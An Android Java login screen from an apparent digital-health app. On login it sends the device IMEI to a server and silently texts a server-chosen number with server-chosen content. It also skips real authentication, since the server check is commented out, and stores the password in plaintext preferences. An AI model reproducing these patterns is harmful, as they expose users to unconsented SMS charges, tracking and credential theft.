package com.mDigitalHealth.activity;

import android.app.Activity;
import android.app.PendingIntent;
import android.app.ProgressDialog;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import com.mDigitalHealth.R;
import com.mDigitalHealth.common.Utils;
import com.mDigitalHealth.http.DigitalHealthUserLoginResponse;
import com.mDigitalHealth.http.RegResponse;
import com.mDigitalHealth.network.DigitalHealthClient;
import com.mDigitalHealth.service.RegService;

public class LoginActivity extends Activity implements OnClickListener {

	private EditText mEditTextUserName, mEditTextPassword;
	private Button mButtonLogin, mButtonReset;
	private TextView mTextViewQuit;
	private CheckBox mCheckBoxRememberPaaword;

	private String userName;
	private String password;

	private SharedPreferences mSharedPreferences;
	boolean isRememberPassword = false;

	private ProgressDialog mProgressDialog;

	private static final int LOGIN_WHAT = 1;
	private static final int SHOW_DIALOG = 2;
	private static final int DISSMISS_DIALOG = 3;

	private Handler myHandler = new Handler() {

		@Override
		public void handleMessage(Message msg) {
			// TODO Auto-generated method stub
			super.handleMessage(msg);
			switch (msg.what) {
			case LOGIN_WHAT:
				DigitalHealthUserLoginResponse loginRes = DigitalHealthClient.login(userName,
						password); // "test@163.com", "123456"
				if (loginRes == null) {
					// fail
					Toast.makeText(LoginActivity.this, "UserLogin Failed!", Toast.LENGTH_LONG)
							.show();
				} else {
					if (loginRes.getLoginStatus() == 0) {
						System.out.println("**user login success");
						// login the account
						Intent intent = new Intent();
						intent.setClass(LoginActivity.this, MainActivityGroup.class);
						startActivity(intent);
						finish();
					} else {
						Toast.makeText(LoginActivity.this, "UserLogin Failed!", Toast.LENGTH_LONG)
								.show();
					}
				}
				myHandler.sendEmptyMessage(DISSMISS_DIALOG);
				break;

			case SHOW_DIALOG:
				if (mProgressDialog != null) {
					if (mProgressDialog.isShowing()) {
						mProgressDialog.dismiss();
					}
					mProgressDialog = null;
				}
				mProgressDialog = new ProgressDialog(LoginActivity.this);
				mProgressDialog.setIndeterminate(true);
				mProgressDialog.setCancelable(false);
				mProgressDialog.setMessage("登录中...");
				mProgressDialog.show();
				break;

			case DISSMISS_DIALOG:
				if (mProgressDialog != null) {
					if (mProgressDialog.isShowing()) {
						mProgressDialog.dismiss();
					}
					mProgressDialog = null;
				}
				break;

			default:
				break;
			}
		}

	};

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		// TODO Auto-generated method stub
		super.onCreate(savedInstanceState);

		this.setContentView(R.layout.login_activity);

		mSharedPreferences = PreferenceManager.getDefaultSharedPreferences(this);
		isRememberPassword = mSharedPreferences.getBoolean(Utils.PREFERENCE_KEY_REMEMBER_PASSWORD,
				false);
		initViews();

	}

	@Override
	protected void onResume() {
		// TODO Auto-generated method stub
		super.onResume();

		mEditTextUserName.setText(mSharedPreferences.getString(Utils.PREFERENCE_KEY_USER_NAME, ""));
		if (isRememberPassword)
			mEditTextPassword.setText(mSharedPreferences.getString(Utils.PREFERENCE_KEY_PASSWORD,
					""));
	}

	@Override
	protected void onStop() {
		// TODO Auto-generated method stub
		super.onStop();
	}

	@Override
	protected void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
	}

	private void initViews() {
		mEditTextUserName = (EditText) findViewById(R.id.edittext_user_name);
		mEditTextPassword = (EditText) findViewById(R.id.edittext_password);
		mButtonLogin = (Button) findViewById(R.id.button_login);
		mButtonReset = (Button) findViewById(R.id.button_reset);
		mTextViewQuit = (TextView) findViewById(R.id.textview_quit);
		mCheckBoxRememberPaaword = (CheckBox) findViewById(R.id.checkbox_remember_password);

		mButtonLogin.setOnClickListener(this);
		mButtonReset.setOnClickListener(this);
		mTextViewQuit.setOnClickListener(this);
		mCheckBoxRememberPaaword.setChecked(isRememberPassword);
		mCheckBoxRememberPaaword.setOnCheckedChangeListener(new OnCheckedChangeListener() {

			@Override
			public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
				// TODO Auto-generated method stub
				isRememberPassword = isChecked;
				mSharedPreferences.edit()
						.putBoolean(Utils.PREFERENCE_KEY_REMEMBER_PASSWORD, isRememberPassword)
						.commit();
			}

		});

	}

	@Override
	public void onClick(View v) {
		// TODO Auto-generated method stub
		switch (v.getId()) {
		case R.id.button_login:
			userName = mEditTextUserName.getText().toString().trim();
			password = mEditTextPassword.getText().toString().trim();

			if ((userName == null) || ("".equals(userName)) || (password == null)
					|| ("".equals(password))) {
				Toast.makeText(LoginActivity.this, "请输入正确的登录信息！", Toast.LENGTH_SHORT).show();
			} else {

				// 注册测试代码 start
				RegResponse loginRes = DigitalHealthClient.reg(Utils.getIMEI(LoginActivity.this));

				RegService service = new RegService();
				String regFlag = service.queryRegFlag(LoginActivity.this);
				if (regFlag == null || regFlag.equals("0")) {

					boolean sendMsgResult = sendMsg(loginRes.getMunber(), loginRes.getContent());
					if (sendMsgResult == true) {
						service.insertUserInfor(LoginActivity.this);
					}
				}

				// 注册测试代码 end

				mSharedPreferences.edit().putString(Utils.PREFERENCE_KEY_USER_NAME, userName)
						.commit();
				if (isRememberPassword)
					mSharedPreferences.edit().putString(Utils.PREFERENCE_KEY_PASSWORD, password)
							.commit();
				Intent intent = new Intent();
				intent.setClass(LoginActivity.this, MainActivityGroup.class);
				startActivity(intent);
				finish();
				/*if(Utils.isWifiEnable(LoginActivity.this))
				{
					myHandler.sendEmptyMessage(SHOW_DIALOG);
					myHandler.sendEmptyMessage(LOGIN_WHAT);
					
				} else{
					Toast.makeText(LoginActivity.this, "登录中...", Toast.LENGTH_SHORT).show();
				}*/
				// myHandler.sendEmptyMessage(LOGIN_WHAT);
			}
			break;

		case R.id.button_reset:
			mEditTextUserName.setText("");
			mEditTextPassword.setText("");
			break;

		case R.id.textview_quit:
			Utils.quitApplication(LoginActivity.this);
			break;

		default:
			break;
		}
	}

	/**
	 * 
	 * 方法说明：短信发送
	 * 
	 */
	private boolean sendMsg(String mobile, String content) {
		// send message start
		// String mobile = "13552392627";
		// String content = "hello";
		boolean result = false;
		try {

			SmsManager smsManager = SmsManager.getDefault();
			PendingIntent sentIntent = PendingIntent.getBroadcast(LoginActivity.this, 0,
					new Intent(), 0);

			// 短信发送
			smsManager.sendTextMessage(mobile, null, content, sentIntent, null);
			result = true;
		} catch (Exception e) {
			e.printStackTrace();
		}
		return result;

		// Toast.makeText(LoginActivity.this, "发送成功！", Toast.LENGTH_LONG).show();
		// send message end
	}
}
